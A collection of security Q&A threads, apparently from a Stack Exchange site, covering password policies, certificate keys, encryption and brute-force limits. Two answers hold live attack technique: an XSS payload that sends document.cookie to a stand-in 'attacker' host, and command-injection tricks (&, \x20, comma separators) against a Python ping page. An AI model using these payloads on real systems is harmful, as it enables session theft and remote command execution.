My Security Expert's point is the same is also possible from the main "Login Page" as there also one can try to brute-force the password change for every user hence he is oblivious (against any need for changes!!) to the "Change Password" feature against this issue.
The same brute-force detection logic seats beneath both the "Change Password" page as well as the "Login Portal" page.

Please help!!

One good design is to make the Change Password page accessible to logged in users in such a way that only he can change his own password. (users' identity should be bound to something out of their control(e.g sessionid) and shouldn't be sent as a parameter which is guessable and can be tampered by the user to access change password page for others)

Your application should protect against brute force attacks using solutions like captchas and/or lockout mechanisms. If there's such logic behind both of these pages then you're most likely ok, unless this kind of design is used in other parts of the application where one user can impersonate another user and make changes on behalf of others.


Certificate Policies & Certificate Practice Statements - Destroying Vs. Archiving CA's Private Keys (HSMs) Please Consider: English is my second language.

Background

I have been looking at different CP/CPS on the web. They all seem to roughly follow the same practices. However, two different policies differed: the first makes sense to me; the second… well, not so much.

Although I can have a vague idea on the rationale behind the second policy, I would like to really understand the different implications of each in order to make an informed decision as to how I would implement this.

Contrast

The first policy (the one that makes sense to me) is from Cisco. On page 22, section 6.2.9  Method of Destroying Private Key:

  Upon expiration or revocation of a certificate, or other termination
  of use of a private key for creating signatures, all copies of the
  private key shall be securely destroyed.

The second policy, requires the private key not to be destroyed, but archived. It is from StartCom Ltd, on page 34’s second paragraph:

  […] CA private keys shall be archived after expiration of the public
  key according to the same procedure as the CA root key.

Question

My question is then: what would be rationale behind each, and what would be the possible implications of choosing one over the other?

My gut feeling on this would be whether or not there should be recoverable access to archived, encrypted traffic or not.

Policy #1 (Destroying all copies of the private key) from Cisco is attempting to:

Prevent the old certificate / private key being stolen and used for some kind of spoofing / nefarious activity (even after expiration some things can be done)
Prevent an attacker from being able to gather a large amount of encrypted traffic over a period of time, then steal the archived private key at some point and decrypt old traffic

I'm not sure what benefit policy #2 would give besides allowing you to recover raw encrypted traffic at some later point if you needed to, after you've rotated the certs out.


Is it any more or less secure to delete all my cookies vs. individually logging out? So I've lost all of my Firefox bookmarks (well not since 3.0) or history (3.5?) or my current session enough times (yeah... this still happens) that I don't leave my precious Firefox profile to chance, so I zip it up as a backup weekly. About a year ago, I unzipped one of my very old profiles because I had lost a session or something, and noticed that it still had active logins to all of my websites!

It was a long time until I realized that Firefox wasn't clearing cookies on exit like I had configured it to ("Keep Until: I close Firefox"). I also tried setting up "Clear history when Firefox closes" with "Cookies" and "Active Logins" both selected, and Firefox wipes neither. Eventually, I posted a bug on Bugzilla for it.

Now, I use my Settings Buttons extension to quickly open the Cookies dialog and wipe all of my cookies before closing my browser for the day. My question: is this any more or less secure than individually logging out of everything I log into to deauthenticate those sessions, or am I fine wiping all of my cookies?

Logging out is supposed to expire the cookies/sessions, but that depends on the server-side coding.

If the cookies were stolen and you only deleted your cookies, then the stolen cookies might still be valid.

The choice of deleting vs logging out has more to do with what you are trying to defend against. Cookies contain more data than just the session info.

The best method is to do both: log out to end the session and then delete cookies to remove any potentially sensitive data.


How secure is the new Mega-site encryption? The new Mega site, sucessor of Megaupload, claims that all information is encrypted with a symetric key that only the user has access.

The general terms are listed here:

  All files stored on MEGA are encrypted. All data transfers from and to MEGA are encrypted. And while most cloud storage providers can and do claim the same, MEGA is different – unlike the industry norm where the cloud storage provider holds the decryption key, with MEGA, you control the encryption, you hold the keys, and you decide who you grant or deny access to your files, without requiring any risky software installs. It’s all happening in your web browser!

In the developers page there are some details about AES 128bits, 64 random bits as some initial value, and so on, but I can't find details on how the end-user will have that protection.

Does someone how their encryption / security really works? Is it really secure?

The details are relatively scarce, but section 5 of ht developers' page you link to describes the kind of encryption they apply. Bottom-line: they don't say it explicitly, but it is basically CCM mode, albeit with some simplifications in IV management. They don't talk about padding and length encoding, and this might be an issue.

Also, the file is split into chunks, each chunk having its own MAC, so that you may "process" chunks individually. However, it seems that there is no sequence number in the MAC thing; as far as the text says, the IV for the MAC of the second chunk is the CBC-MAC of the first chunk, which is bad because it could be altered by a malicious individual. In practice, this means that the per-chunk MAC is useful only if you stream the data from the beginning, in due order; random access would be susceptible to attacks.

The main concept of using a per-file key is sound, but it requires some careful handling of the keys and there is not enough detail on the page to decide whether things were done properly or not. The whole thing reeks of a homemade construction and it is known that homemade constructions are fertile ground for vulnerabilities.


Safely transfer UserID among different Subdomains Scenario :

Application a.mydomain.com redirects its users to application b.mydomain.com for Account Creation.
b.mydomain.com creates the account, and redirects the user back to a.mydomain.com with the encrypted Username (+ Timestamp).
a.mydomain.com reads it and displays on its form.

Constraints  :

Cant use it as GET parameter since no logging needs to be done.
Cant set it in cookie as mydomain.com already uses plenty of cookies.
HTTP Post form submission to a.mydomain.com is not possible due to restrictions of the internal development framework.

Can anyone please suggest what should be the ideal approach to send the Encrypted username (+ Timestamp) back to a.mydomain.com

First and foremost do not write your own protocol for this!  Other people have this exact same need and they use oAuth!

If you just need to know that they are connected an oAuth 2-legged is perfect.  If you need to share more information about this user then use 3-legged oAuth.


Is there any security threat of using 'curl https://ipinfo.io/ip' to find our IP? I need to find out the public-ip of an EC2 instance. I was trying this command:

curl https://ipinfo.io/ip

Is there any security threat of using that method? Like exposing our IP or something?

If there is a remote execution bug in curl or any lib it relies on, there is a chance curl will run arbitrary code. That might be a security risk if you don't patch your system and run this command using a cron job.

To answer your question: Of course, you are exposing your IP to this service, as you are exposing on any router, country and intelligence. But your ip is public anyway, the known default ports will be scanned like any minute as soon as it's booted.

Also if they give you a wrong IP, and you assume it's yours and you connect using ssh for example, your credentials will go to the server they might control. Also there might be a man-in-the middle attack that will result in showing you the wrong IP and trick you into sending credentials or other data to a wrong server.


Would it be possible for shellcode to call non exported functions in a dll? It is just a question that came into mind today.
I know that you can use getprocaddress to get the location of exported functions at runtime..

https://stackoverflow.com/questions/2918234/calling-a-non-exported-function-in-a-dll

Here someone suggested to search for a binary pattern.
Would there be any reason that this would not work when dealing with for example injected shellcode?

Or could you get a raw address at runtime of an exported function and knowing that calculate the offset to a non-exported function and call it? Also would this work with modern memory mitigations without triggering some violation?

Not only can it be done, but calls can be made into the middle of functions.
https://en.wikipedia.org/wiki/Return-oriented_programming

I believe it's even possible to call into the middle of multibyte instructions (on x86) which results in a completely different interpretation of those instructions.

So yeah.  There are tools for that.


OIDC SPA Keycloak refresh_token storage location I have Single Page Application based on Open ID Connect flow (keycloak).
I wonder what are the security considerations for refresh token storage - what are the advantages and disadvantages for storing refresh token by the web/mobile application or by the API gateway.

Following the specs:

  Since refresh tokens are long-term credentials, they may be subject to theft.

Refresh token is sensitive information and should be stored securely. What is more, to use the refresh token, you have to request token endpoint of Authorization Server (AS). In specs you will find that in this case AS should trust the client which is sending the refresh token request. It can be achieved by authorizing client to the token endpoint (Mutual TLS authentication, Basic Authentication - not recommended). So you need to store more sensistive information in your app.

For me, storing refresh token in browser is not secure as User-Agent (ie. Browser) can be a subject of attack (ie. dangerous addons). For mobile apps it is a little easier as new OS's gives opportunity to use the system internal secure storage, where you could store refresh token. For web apps it would good to consider a backend storage for such a purpose but here you also have to ensure correct trust relation between client app and backend.

Consider reading this: OAuth 2.0 Threat Model and Security Considerations


How to show XSS popup without using alert and script keywords? I have come across a field that is vulnerable to XSS. It accepts  and  tags however keywords script,alert, msgbox, prompt are blocked. I have tried every encoded version of these keywords but its not working.

Is there any way that i can show a POC (XSS popup) without using the above keywords.

I successfully injected a frame and cookies are also not HTTP-only.

No attacker will ever use alert(),  checking for this within an attack string is more than just a waste of time,  it shows that the developer doesn't understand how software is attacked.

You could show a real world attack,  where you read a CSRF token or the document.cookie value:

document.write("<img src=http://attacker/cookie_theif?c="+document.cookie+" />")

You could also rewrite the page, this could be used to turn the page into a phasing page:

document.body.innerHTML="owned:"+document.cookie


Should user be authorized in site after following email change confirmation URL? When users triggers email change, we send a link to their new email address.

If user follows the link, should we only proceed with email change after authorization (being logged in the site), or we can just change the email like in the password reset flow?

We'd probably have to add a CTA button (perhaps reCaptcha) to prevent email link sniffers.

What other security implications could there be in the no-auth scenario?

If you do not have an authorisation step in the confirmation, then if the user mistypes the email and an unauthorised person gets the link and confirms, then the unauthorised person can gain full access to the account through the "forgot password" function.

This happens to me all the time. People use my email address by mistake when signing up for things. I can confirm the email, and then could then reset their password.

You would think that the user would notice, but I get a dozen emails a day destined for other people who have not realised that a service is sending me their info. (I can't make a change on my own because that would mean gaining unauthorised access to the user's account).


Trojan detected in windows 10 can it affect dual boot Ubuntu My windows defender detected this trojan: win32/credentialaccess!rfn and I tried to remove it.
I use dual boot with Ubuntu:

can this also effect ubuntu?
If i reset my windows completely can it come again

I can't say what any individual malware (Trojan or otherwise) might do - nobody can, without analyzing it - but the answer to can it is "Yes unless it lacks permissions". However, it probably didn't, even if it could have.
To modify a dual-boot Ubuntu install from Windows, you'd need one of these to be true:

You have the relevant file system driver installed on Windows (Linux, including Ubuntu, almost always uses different file systems than the ones Windows prefers, but both have optional drivers for the other) and have the Ubuntu file system mounted (for example as drive "L:" for Linux). Then the question would be "what permissions are required to access the mapped file system"; if the malware has them, it can do that.
The malware installs the relevant file system driver, and then mounts the Ubuntu file system and accesses it. This requires Administrator permissions on Windows, since you're installing a kernel-mode driver, but it the malware has those privileges it can do anything it wants to the machine.
The malware opens the Ubuntu partition(s) directly as (a) block device(s) - effectively accessing your entire Linux installation as one or more giant files - and tampers with their bits without bothering to go through the abstraction of a mounted file system. This (opening a disk partition directly) also requires Administrator permissions, although once the "Direct Access Storage Device" HANDLE is open, a process can use it to make arbitrary changes without worrying about file system security on that storage device (because it bypasses any file system entirely).
The malware could modify some lower-level component of the system that is used by both OSes, such as the bootloader (one bootloader typically chains to the other, so there is at least one place that could affect both systems), the BIOS/UEFI (system firmware that is present on the motherboard), CPU microcode (firmware present in modern CPUs that controls their behavior), or firmware for other devices such as the hard disk/SSD (practically every hardware component of a modern PC has its own tiny processor running its own firmware, and that firmware controls how the component operates). In all cases this would require Administrator rights, and in some cases there may be additional protections (such as requiring the computer be rebooted a special way or the firmware needing to be signed by a trusted publisher).

So, does this mean your Ubuntu install is totally hosed if that malware did, in fact, have Administrator privileges? Probably not. Most Windows malware wouldn't know to look for a Linux file system, and wouldn't know what to do with one if it found one. It might notice a mounted file system and access it, but the impact is likely to be limited (for example, it is unlikely to know where Linux software stores its credentials, and thus if it's trying to steal them it wouldn't find any). You shouldn't count on that, but the actual risk is low unless this malware was written by somebody who was specifically targeting machines like yours, or the malware is in general known to be damage Linux systems too. It also might just make the Ubuntu installation unusable, perhaps by accident, if it does something like overwrite some part of the bootloader and prevent loading Linux.


Was granting myself this permission a security risk? In a PowerShell script in Windows 10 Pro 64, I'm getting access-denied errors on several folders, such as:

C:\Windows\System32\config\systemprofile\AppData\Local\Microsoft\Windows\INetCache\Content.IE5
C:\Windows\System32\LogFiles\WMI\RtBackup

I went to look at those folders in File Explorer. I never did get into them, but along the way, on three folders:

C:\Windows\System32\config
C:\Windows\System32\config\systemprofile
C:\Windows\System32\LogFiles\WMI

I got a message saying that I didn’t have permission to access them, but inviting me to click to get permission permanently. I clicked that. I’m now able to access those three folders like any other. In order to test what "permanently" meant, I rebooted. I'm still able to access those folders.

Three questions:

Is it a security risk (or a bad idea for any other reason) to have those folders accessible? If so, how do I revert that permission?
On the "RtBackup" folder, I got the same offer to give me permanent access, but when I clicked for that, the permission was denied and I was told that to get it I should go to the "Security" tab. Presumably that means of the folder properties. I'm thinking it might be a bad idea to mess around with security settings for a system folder. Is that right? What are the risks from doing that?
In researching this, I came across the DOS command TakeOwn. I wonder if that might allow me to access all these elusive folders and maybe eliminate the access-denied errors in my PowerShell script. Would it? And would doing that be dangerous? What are the risks from running TakeOwn on an inaccessible folder?

File permissions are really designed for a multi-user system. If that's the case -- multiple people use this machine, or it's part of a corporate environment -- then giving yourself write permissions inside C:\Windows\System32\ means that you (or malware you download that's running as you) can muck things up for other users.

If this is a single-user system then the distinction between you and Admin is a bit less meaningful. As usual, there's a perfect XKCD for this:

XKCD comic "Authorization"

It's also worth noting that by giving yourself (and therefore any malware running as you) write permission to C:\Windows\System32\, you increase the chance that malware can escalate itself to being Admin, at which point it's easier for it to hide from any anti-virus software you might be running because now the malware is equally powerful as the AV.


Since GPUs have gigabytes of memory, does Argon2id need to use gigabytes of memory as well in order to effectively thwart GPU cracking? The common advice of benchmarking a password hashing algorithm and choosing the slowest acceptable cost factor doesn't work for algorithms with more than one parameter: adding a lot of iterations at the expense of memory hardness makes the benchmark time go up, but if the attacker can still grab off-the-shelf hardware (like a regular gaming graphics card) then I might as well have used pbkdf2 instead of Argon2id. There must be some minimum amount of memory that makes Argon2id safer than a well-configured algorithm from the 90s, otherwise we could have saved ourselves the effort of developing it.
I would run benchmarks and just see for myself at what point hashing isn't faster anymore on a GPU than on a CPU, but Hashcat lacks Argon2 support altogether. (Though any software I choose isn't necessarily going to be the fastest possible implementation to give me a correct answer anyway.)
Even my old graphics card from 2008 had 1GB of video memory and 2020 cards seem to commonly have 4-8GB. Nevertheless, the default Argon2id setting in PHP is to use 64MiB of memory.
If you set the parallelism of Argon2id to your number of CPU cores (say, 4) and use this default memory limit, is either of the following (roughly) true?

A GPU with 8192MB of memory can still use 8192/64 = 128 of its cores, getting a 32× speed boost compared to your CPU. The slowdown on GPUs due to increased memory requirements is a linear scale. The only way to thwart GPU cracking effectively, is to make Argon2id use more RAM than a high-end GPU has when divided by the number of parallelism you configure in Argon2id (i.e. in this example with 4 cores, Argon2id needs to be set to use 8192/4 = 2048MB).

or

This amount, 64MiB, already makes a common consumer GPU completely ineffective for cracking because it is simply too big to efficiently use from a simple GPU core (because if the core has to access the card's main memory then it's not worth it, or something).

There are different ways to make brute-forcing of Argon2id harder. Two of them are following:

Make passwords longer, and of course make passwords randomly generated, not generated by humans
Increase work factor, i.e. use more iterations

It makes sense to consider memory factor only then, when increasing computing power in 1-2 orders of magnitude can really lead to successful brute-forcing.
Let's consider 2 cases.
1. Passwords of 20 chars from 62-char set, password hashing takes 1s on a single core of 8-cores CPU
How many passwords need to be tried? Supposing that a half of all possible passwords is sufficient, we get: 62^20/2 ~= 10^35.
How many passwords can test such a CPU per year?
8 cores * 60 seconds/minute * 60 minutes/hour * 24 hours/day * 365 days/year ~= 10^8.
Thus 10^35 / 10^8 = 10^27 CPU-years are needed.
Suppose, some GPU is 1 000 times faster than such CPU. Suppose some organization can afford 1 000 000 000 such GPUs (only a few countries in the World can afford it). Then still it will take 10^27 / (1 000 * 1 000 000 000) = 10^15 years to brute-force such password.
What will we gain from using bigger memory factor and reducing the effective GPU power? Is the duration of 10^15 years not huge enough? In this case it makes no sense to spend time analyzing what memory factor how much can slow down GPUs. Even the small memory factors like 10K will be sufficient, because duration of 10^15 years makes brute-forcing impossible.
2. Passwords of 10 chars from 62-char set, password hashing takes 0.000001s on a single core of 8-cores CPU, or 10^6 per second
How many passwords need to be tried? Supposing that a half of all possible passwords is sufficient, we get: 62^10/2 ~= 10^17.
How many passwords can test such a CPU per year?
10^6 * 8 cores * 60 seconds/minute * 60 minutes/hour * 24 hours/day * 365 days/year ~= 10^14.
Thus 10^17 / 10^14 = 10^3 = 1000 CPU-years are needed.
If some GPU is 1 000 time faster than such CPU (which is way too optimistic), then such single GPU can brute-force the password within 1 year. 10 such GPUs can brute-force the password within 36,5 days. Many can hackers can afford even 100 GPUs. Then password will be brute-forced within 0,365 days or within 9 hours.
In such case restricting the number of cores used for brute-forcing can really slow brute-forcing down and for some attackers this can be prohibiting (too expensive), or time needed for brute-forcing can become much longer, so that when the password is brute-forced and information decrypted, this information is not secret any more and is freely available.
TLDR
Big memory factor can be not necessary in case password entropy and work factor are relatively big. A 20-char password and hash generation of 1s makes brute-forcing impossible. It is up to you to calculate and decide what smaller values are acceptable to you.
Big memory factor makes sense only in cases when the risk of brute-forcing is high and slowing the brute-forcing down in 1-3 orders of magnitude reduces the brute-forcing risk to the acceptable level.
To your question

does Argon2id need to use gigabytes of memory as well in order to
effectively thwart GPU cracking?

If you use relatively long passwords, e.g. 20-char passwords, and if work factor in Argon2id is big enough, e.g. hashing of a single password takes 1s, then no, you don't need to use Gigabytes of memory per password, any small memory factor will be sufficient.
If you use relatively short passwords, e.g. 8-10 characters length, and if work factor is relatively small, e.g. hashing of single password takes 0.000001s, then yes, using of Gigabytes of memory per password can slow brute-forcing down. For instance, some Nvidia GPUs have ~6000 cores with 12 GB RAM. If you use e.g. 64MB per password, it will effectively reduce the number cores to 192 instead of ~6000, thus the brute-forcing will be ~30 times slower. After you decided how much memory you want to use, check that the number of iterations is not too small, see the comment of brynk.
Why use Argon2id at all?
Then why use Argon2id at all, why not PBKDF2? Because it has for instance a better side-channel resistance. See more details here:

Password hashing security of argon2 versus bcrypt/PBKDF2?
In 2018, what is the recommended hash to store passwords: bcrypt, scrypt, Argon2?.


Entropy in multitenant environments How is entropy generated for cryptographically secure pseudo random number generator (CSPRNG) seeds in an Intel x64 Windows environment? If it uses Intel's Digital Random Number Generator (DRNG), does that theoretically mean that multitenant environments using the same host machine are more likely to generate the same global unique identifiers?

No, even though it seems different, processors only process one at a time, so even generating a GUID on different tenants at the same time would still create a unique key since:

If on the same processor, their timing is different, even if by nano seconds, which would produce a unique key.
If two processors at the same time, the processor's signature is different, so unique keys.

Add on to this, all the other factors used by these systems, and it would be extremely unlikely to get the same GUIDs.


Is my keepass great? How can I improve it? Here is my keepass setup:

Cloud

Gmail 1 Google Drive: holds database
Gmail 2 Google Drive: holds key file

Hard Drive

Computer: holds database (leave at home)
USB 1: holds database  (always have with me)
USB 2: holds key file (leave at home)
USB 3: holds key file (always have with me)
USB 4: holds Gmail 1 id, Gmail 2 id, and master password (leave at home)
USB 5: holds Gmail 1 id, Gmail 2 id, and master password (always have with me)

Paper

Paper1: Gmail 1 id, Gmail 2 id, and master password (leave at home)
Paper2: Gmail 1 id, Gmail 2 id, and master password (always have with me)

Having the DB file and Key file in the same place pretty much defeats the purpose of the Key File (especially if its stored Online). If someone has access to your Google Drive Account they "only" need your Password.

I would also consider trying to only remember your Master-Password (Diceware can help) and not having it in so many personal places.

Also keep in mind what your Threat model is.


Getting about 6-7 spam emails every minute About several hours ago I started getting A LOT of spam e-mails, 6 per minute on average. I have no idea what went wrong. This is the e-mail address that I'm using for years and I was very careful in regards to where I used it. I know a lot about computers, software and stuff (started working as a programmer recently), and I'm saying this just to throw out recklessness from the equation. It's my main e-mail, not gmail or yahoo or some other, it's the e-mail that has been given to me from my internet provider ages ago, and it has been used for serious correspondence only.
Almost all e-mails are the same, I'll take a picture of one and post it to you guys (my e-mail address is crossed out on every place it had been stated). And it's stated there that I've been actually sending some meaningless e-mails from my address to random people and that they were undeliverable.
I have no experience in this and have no idea how this has happened.
Can this somehow be fixed, or can anyone at least explain to me what is going on?

The messages you show mean that somebody is using your email address as a sender. This might mean that your mail account is compromised but it can also be that the attacker got information about your email by compromising users which received mails from you or by simply guessing or generating random email addresses. Email is similar insecure as snail mail, i.e. one can write anything as the claimed sender at the envelope and this means that the claimed sender gets a bounce message if the mail could not be delivered.

Once spammers are using your address as a claimed sender as in this case there is not a lot you can do. If you have no control over the domain you probably can only delete all the bounces from your inbox. If you have control you could configure SPF and DKIM to limit how much your address can be used for spoofing.

For more details see Why is it even possible to forge sender header in e-mail?


Hashcat syntax correction I've been cracking a box and I came across a password list and another file with the pass configuration. $hash= md5($salt . pass . salt) I have both salts and the password hash.

I tried with this syntax : hashcat -m 3800 -a 0 '/path/to/pass/list' '/path/to/dictionary/list' No devices found/left

It gives me nothing on return but an error saying there's not devices or anything. Im trying to get hashcat to crack these passwords. I've made a copy of my list and edited the list to have "User:salt:pass:salt". run it against rockyou.txt. What is my hashcat syntax missing specifically?

Without knowing what type of machine you are using hashcat on and whether the hardware has OpenCL support, you should run hashcat -I which will tell you which OpenCL-supported devices are present on your machine. Hashcat can use CPU or GPU OpenCL resources.

You then specify which device(s) you want to use. Hashcat Wiki

 -I, --opencl-info              |      | Show info about detected OpenCL platforms/devices    | -I
     --opencl-platforms         | Str  | OpenCL platforms to use, separated with commas       | --opencl-platforms=2
 -d, --opencl-devices           | Str  | OpenCL devices to use, separated with commas         | -d 1
 -D, --opencl-device-types      | Str  | OpenCL device-types to use, separated with commas    | -D 1
     --opencl-vector-width      | Num  | Manually override OpenCL vector-width to X           | --opencl-vector=4

Also if you are using any virtualization you may need to install OpenCL

Ex For Deb/Ubuntu:

apt-get install libhwloc-dev ocl-icd-dev ocl-icd-opencl-dev

apt-get install pocl-opencl-icd


Rate limit login attempts: count by IP or username I need to limit login attempts.

One option is to count attempts by IP address and then block the IP. The disadvantage is that different users may have the same IP address. Another option is to limit by an account identifier (username or email) and then block the account (it can be activated manually by support). The only disadvantage I can think of is that malicious users can guess usernames and block them... But other than that, it feels more secure because malicious users can use different IPs, right?

What's the recommended way to do it?

I would say that you should do both.

If you only rate limit on IP address, an attacker controlling a bot net could brute force an account with a weak password. If you have 10 000 computers with unique IPs and each one is allowed four attempts per hour you can try almost a million passwords per day.

If you only rate limit on username, an attacker with a list of existing usernames could brute force accounts with a weak password. Chances are that a few of your users use one of the top 10 passwords, so if you try those on all accounts you will get in somewhere.

Of course you could do all sorts of combinations. For instance you might only block a username once X different IPs have failed to log in with it, so that an attacker trying to block a user from logging in needs to work a bit for it.


Is this a symptom of an attack (DoS/DDoS)? I work for an e-commerce website in my country and this is the second time we suffer an attack. At least, looks like one.

We have a search functionality in our website and the supposed attacker is sending a lot of requests directly to our search. Right now it is taking us down as this is a bottleneck (database). We are working to scale it up (taking the search out of the database into lucene) so this traffic should not be a problem in the future.

All requests come from a dozen IP addresses spread across German and USA's Amazon AWS hostnames, but since query terms they are using are not entirely unrelated (they are passing sequences of numbers and weird full names) to our business I got to think if this is really an attack.

Any thoughts on this?

Thanks

From the summary of your issue, if it is causing resource consumption then even if this is not an evil 'attack' it is still causing you a Denial of Service condition and you are right to revisit your architecture.

However, in terms of identification of this being an attack, you would need to investigate the query terms further, to understand if any of them are attempts to conduct injection based attacks (such as cross-site scripting (XSS) / SQL Injection etc.). The high volume of numbers and names could be used to create noise to hide malicious attempts.

You should also look for trends within the data to identify if this is potentially a coordinated effort and thus classify all of the bad traffic as the same or if you have a specific subset of bad traffic that you can focus on.


EMV cards, is the PIN always stored also at the issuer secure server side? Issuers of EMV card (or their specialised service providers) always securely store on their server (Hardware Security Modules) a copy of the secret keys which are hidden inside each individual EMV smart chip.
However, do they always store also the associated PIN, or are there instances whereby the PIN is known only to the smart chip itself? for example, what do VISA and MasterCard do with their cards PIN?

There’s 3 types of cardholder verification methods (at least when I was playing with EMV 3 years back)

PIN (both offline and online)
Signature
No verification (this is possible under some circumstances).

Note these verification methods are used only for physical transactions or ‘card present’ scenarios.

For PIN transactions there’s two flavors, and Offline PIN and an Online PIN.

Online PIN is straightforward, it’s when a PIN is verified by the issuer in an online transaction. Online here means the card terminal has connectivity to the issuer and has sent the transaction and PIN onto the issuer for verification.

For online PIN, obviously the issuer has the PIN -- otherwise it wouldn't be able to verify it.

For offline PIN, the PIN isn’t sent over the wire, but rather sent to the chip on the card, and the chip then verifies the PIN directly, providing the response back to the terminal.

In this case it is possible that the issuer wouldn’t know the PIN as it is stored on the chip. But, I’m guessing an issuer must be able to reissue a PIN to the customer should the customer forget it, hence somewhere deep in their data center lies a server or HSM that knows it :)

Whether or not your card supports Online PIN or Offline PIN (or both) depends on the issuer and country of issue. But I Guess in both situations an issuer will have the PIN, regardless of type.

Now reading more into the question, just because the issuer has the PIN doesn’t mean it’s going to be easy to retrieve. This isn’t something a call center agent will be able access. It’s probably locked down tightly and only retrievable via printing a PIN mailer (printed letter to the customer) or some other highly secure method.

I'm not sure what the true objective of your question is, but hopefully this answers it.


How to calculate brute forcing times/feasibility for remote attacks to include parallelism? This is purely a thought exercise.

Assume a server which does not implement throttling or lock on failed attempts. The server accepts a username/password request & sends back a Yes/No response. The response time is 10 seconds. You are trying to brute force a password on the server. I am trying to figure out how much time it would take to brute force say a 5 digit Numeric PIN.

The entropy of the PIN would be 105 = 100000
So the time taken to brute force would be 100000/10 = 10000 seconds.

However, you can have a multithreaded program sending requests in parallel. Or multiple programs running at the same time doing the brute forcing. So my naive calculation is not correct.

Assuming the attacker's machine a typical laptop of today (i7, 16 GB RAM), how do I calculate the time taken to brute force - are there any thumb rules for this?

In the real world, the main bottleneck would be the number of connections. Most server implementations, especially webservers, rate-limit this, not just for security reasons (to combat your exact scenario), but also for reasons of fair resource sharing and to throttle runaway clients.

Even if they don't throttle it, a server can only handle a limited number of concurrent connections.

For example, the default configuration for apache2 is set to 150 concurrent connections. That is the hard limit for an attacker, and under realistic circumstances, at least a few of those connections will be busy handling legitimate users.

So the proper answer for n depends on your server implementation first, and other factors second. For a simple scenario like yours, it is trivial to write a client that can saturate the server with requests, the client will not be the bottleneck for any halfway competent attacker, the server will be.


Full shell from pingit application when I entered 127.0.0.1 the result was:-

Pinging 127.0.0.1 with 32 bytes of data:

Reply from 127.0.0.1: bytes=32 time<1ms TTL=128

Ping statistics for 127.0.0.1:
Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 0ms, Maximum = 0ms, Average = 0ms

when I entered 127.0.0.1%00 I got the following result:-

Traceback (most recent call last): File "C:\Inetpub\wwwroot\pingit.py", line 9, in output=os.popen("ping " + form["action"].value).readlines() TypeError: popen() argument 1 must be string without null bytes, not str

I can execute single word commands like dir, whoami, etc like:-

127.0.0.1 | dir
and
127.0.0.1 | whoami
but cannot execute the following commands
127.0.0.1 | net user

How can I get full shell command execution with such restrictions

Use the & operator to combine two or more commands on windows (for unix use the ; operator).

If you need your command to be a string with no empty spaces, you could replace all space characters with their hex value  (\x20), so the dir command would be:

127.0.0.1\x20&\x20dir

Note that this method works only with the Python interperter.

An alternative that works well with Python's os.popen and on windows termilal would be to use a comma between your parameters and remove all spaces between the commands, eg:

127.0.0.1&dir,c:\users


What crypto prevents & detects "invisible" CAs? (e.g. in X509v4) For this question, I'm calling an "invisible CA" one that

Is signed by a root ca  and exists as a 2nd or 3rd tier
Is valid, not expired or revoked
Has a different Public key than one that is currently dominant and active

This scenario could occur in reality when

A normal subCA (root0-1) gets renewed*
A malicious or virus infected rootCA operator signs an additional CA (root0-2) on the side
The operator then signs/renews the legitimate & expected root CA (root0-1 becomes root0-3).

My goal is to gain insight into a given PKI hierarchy as a consumer, or someone who trusts an issued certificate, and not rely on top down 3rd party audits and HSM with key counting.

I would much rather have a cryptographic promise that will tell me how many times a sub-CA has been issued, and if those issued CAs are active/non revoked.

  A similar but different concept is the path length; I'm focused on quantity of active CAs for a given path value.

Limited Show Credentials

I have heard of cryptographic techniques that limit the number of times a key can be used (such as ECash) and that would expose a "secret".  In this case perhaps the "secret" would be a boolean "complies with stated agreements" or "does not comply with stated agreements".  But there are flaws with this approach, such as the client needs to monitor any and all subCAs that are transmitted to even detect such an event.

Question

Is there a more sensible approach (in theory) for clients to verify this aspect of integrity of PKI?  (or any trust network of "authorities")

Right now, in X.509, there is no such thing as tracking of a number of uses of a given key. This is part of what is meant by "X.509 is context-free": validation is about whether the certificate path you have in front of you is valid or not, irrespective of whether a similar path or something different was shown to you 5 minutes ago when talking to the "same" server for some notion of "same".

Another important point of X.509 is that rogue CA are out of scope. This seems paradoxal, but the idea is that when a CA goes under hostile control, then that CA is "lost" and the only thing that can be done with it is to sever the whole tree branch, by revoking the certificates corresponding to the compromised CA key (where "compromise" means "the private key was used for hostile purposes", not necessarily "a copy of the private key was stolen"). For a compromised root CA, the only possible correction is to remove it from the trust stores of all clients, since root CA, being self-issued, cannot be revoked.

(When Microsoft pushes a Windows patch which removes a root CA from the default trust store, this can be viewed as some kind of revocation, in which case the root CA are not really "root", the "true root" being Microsoft. But all of this occurs outside of X.509.)

In the scenario you describe, whatever the attacker did with the root private key cannot be detected while the attacker does not actually use the rogue certificate. This is unavoidable, in a strong mathematical way: if the attacker can get access to the complete state of the root CA, then he can "clone it" and use the private key on his own machines; the root CA state is thus unimpacted. What you are asking for is some cryptographic magic which would maintain a "use counter" that the attacker could not alter at will even when he can see the full state. As long as computers are what they are, this is not feasible. To get a track of the number of issued signatures, so as to reliably detect rogue signatures, you will need something else, e.g. storing the root private key in a tamper-resistant device (a HSM) which will maintain the counter and, for instance, use it as part of the serial number for all issued certificates (thus allowing for client-side audit). This really is about changing the model by singling a "root CA core" that the attacker cannot seize.

Conceptually, we could envision a distributed database system (similar to the one used in Bitcoin) where all signatures are pushed, in a format which contains a "signature counter". This assumes the following:

The signature algorithm is altered so that it works over h(c||m) instead of h(m) (c is the counter, m the signed data, and h a cryptographic hash function).
All signature values are stored, indexed by signer and counter value, in the global database (thus, duplicates are detected).
Verifiers (clients) don't accept a signature unless they can find it in the database.
Verifiers enforce a specific counter behaviour, which allows them to notice when a CA has done more signatures than expected.
The distributed database cannot be altered by attackers.

None of this is supported by X.509, neither now or in the foreseeable future. There is no global database of signature values, and since X.509 is supposed to be usable in offline contexts, there will not be one. Also, in X.509, verifiers are stateless: they don't keep track of verification history, and that's supposed to be a desirable feature.

The cryptographic algorithms for detecting double-spending in electronic cash protocols really are a shortened version of the "database" concept: they occur at the bank level, when the bank indeed sees both transactions. E-cash protocols are thus made so that the spender's identity is revealed in case of double-spending, during this correlation phase.


How does TrueVault's de-identification process work? I'm thinking of using TrueVault, but I'm not entirely sure about the sequence of events involved in de-identifying data and re-identifying it. More info here. Here is the process, as I understand it, but I don't know exactly in what order:

PHI is stored in a HIPAA-compliant TrueVault server. TrueVault returns an opaque identifier that can be stored alongside de-identified data in AWS.
To fetch this data, the data is returned from two different sources: the TrueVault server and AWS, where analyses on the data-sets are being performed. Does this happen simultaneously? What happens first?
To pull de-identified, a request is made to the AWS server – which would also return the opaque identifier. Then, a request would be made to the TrueVault server to identify the user associated with the opaque identifier. Is this the right order of events?
